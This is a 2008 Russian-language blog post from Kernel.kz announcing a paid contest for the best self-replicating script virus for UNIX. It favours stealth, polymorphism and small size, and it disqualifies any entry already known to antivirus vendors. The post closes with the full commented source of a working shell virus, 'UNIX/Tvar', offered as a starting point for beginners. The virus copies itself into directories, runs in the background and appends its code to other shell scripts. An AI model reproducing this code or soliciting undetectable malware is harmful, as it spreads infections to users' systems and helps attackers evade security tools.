Конкурс на лучший скриптовый вирус для UNIX

Первый казахстанский блог о UNIX-подобных операционных системах Kernel.kz объявляет конкурс среди своих читателей на написание лучшего в своем роде скриптового компьютерного вируса для операционных систем семейства UNIX. Победитель получит денежный приз!

Условия конкурса:

1.) Для того чтобы принять участие в конкурсе необходимо выполнить ряд условий:


а) Направить нам заявку, в которой требуется указать следующие данные: ваше имя (либо псевдоним), адрес вашего блога в интернете, при отсутствии блога можно указать адрес форума, где вы проявляете наибольшую активность в сети, а также место постоянного проживания (страну, город). Заявки принимаются до 7 сентября 2008 г. включительно;

б) Разместить на вашем блоге или форуме рекламный баннер конкурса со ссылкой на этот пост. Код баннера приводится ниже, затем прислать ссылку нам;

<a href="http://kernel.kz/archives/79" target="_blank">
<img src="http://kernel.kz/banners/vcontest.png"
alt="Конкурс на лучший скриптовый вирус для UNIX"
border="0" height="80" width="505" /></a>

в) Дождаться от нас письма с подтверждением вашего участия в конкурсе, и начать писать свой вирус :-)

об изменениях в условиях читайте здесь.

2.) Для участия в конкурсе допускаются ТОЛЬКО вирусы написанные на следующих языках сценариев:

а) *sh (ash, bash, csh, и. т.д.)

б) Perl

в) Python

3.) Основным свойством компьютерного вируса является его способность к репликации, именно это отличает компьютерный вирус от всего прочего, поэтому на конкурс не принимаются различные троянские программы и тому подобные программные продукты, не обладающие способностью к саморазмножению.

4.) Наличие прямых деструктивных функций в вирусах категорически НЕ приветствуется.

5.) Черви (т.е. вирусы не внедряющие свой код непосредственно в «тело» жертвы) являются подмножеством множества «компьютерные вирусы», ДОПУСКАЮТСЯ к участию в конкурсе и рассматриваются как полноценные вирусы.

6.) Прием вирусов от участников конкурса осуществляется до 1 октября 2008 г. включительно, после чего компетентное жюри руководствуясь некоторыми принципами приведенными ниже, определит победителя.

7.) На выбор жюри может положительно повлиять наличие у вируса следующих особенностей:

а) Малый размер тела вируса;

б) Способность эффективно скрывать себя (различные стелс-технологии);

в) Способность мутировать (полиморфизм);

г) Кроссплатформенность;

8.) Призовой фонд формируется из добровольных пожертвований всех желающих. Вы можете пожертвовать немного денег используя эту WM-копилку:

9.) Исходный код самых интересных работ, как и работы победителя будет опубликован на страницах этого блога, а также на специальном сайте конкурса.

10.) Участник конкурса может прислать неограниченное количество вирусов для участия в конкурсе.

12.) АБСОЛЮТНО НЕДОПУСТИМО наличие сигнатур присланных на конкурс вирусов в базах данных производителей антивирусного программного обеспечения, участник приславший код, присутствующий в антивирусных базах данных немедленно дисквалифицируется.

13.) Организаторы конкурса гарантируют что работы участников конкурса НЕ БУДУТ переданы третьим лицам, без согласия авторов.

Цель конкурса — привлечь внимание общественности к проблеме компьютерных вирусов, а также лишний раз доказать или наоборот — опровергнуть утверждение о неуязвимости UNIX-подобных ОС для вирусных атак.

Организаторы конкурса будут благодарны за распространение любой информации о конкурсе.

В качестве примера шелл-вируса привожу код одного моего знакомого, написанный, кажется году этак в 1999. Вирус называется UNIX/Tvar. Исходник подробно откомментирован и может послужить хорошой стартовой площадкой для новичков:

#!/bin/sh                        #Путь до интерпретатора
if [ "$1" = ok ] ; then          #Если мы запущены в фоновом поцессе
 for i in *                      #Перебираем все файлы
 do
   if [ -d $i ] ; then           #Если нам попалась директория
    cp $0 $i                     #Копируем себя в эту директорию
    cd $i                        #Переходим в эту директорию
    $0 ok &                      #Запускаем себя фоновым процессом
     cd ..                       #Возвращаемся обратно
   elif [ -n "`head -n 1 $i | grep -s !/bin/`" ] && [ -z "`grep -s TVAR $i`" ] ; then
   #Если первая строка файла содержит "!/bin/" и в файле нет строки "TVAR"
    echo >>$i ; tail -n 17 $0 >>$i  #Дописываем своё тело (18 строк) в конец жертвы
   fi
 done
else     #Если мы не запущены фоновым процессом
$0 ok &  #Запускаем свою копию фоновым процессом
fi
# TVAR #Метка

Архив с вирусом можно скачать здесь.

Все вопросы относительно этого конкурса можете задавать в комментариях к этой записи. Заявки на участие в конкурсе, а также свои работы присылайте на viruscontest@gmail.com.

Ждем ваших заявок, работ и пожертвований.

С уважением,
авторский коллектив первого казахстанского блога о UNIX-подобных ОС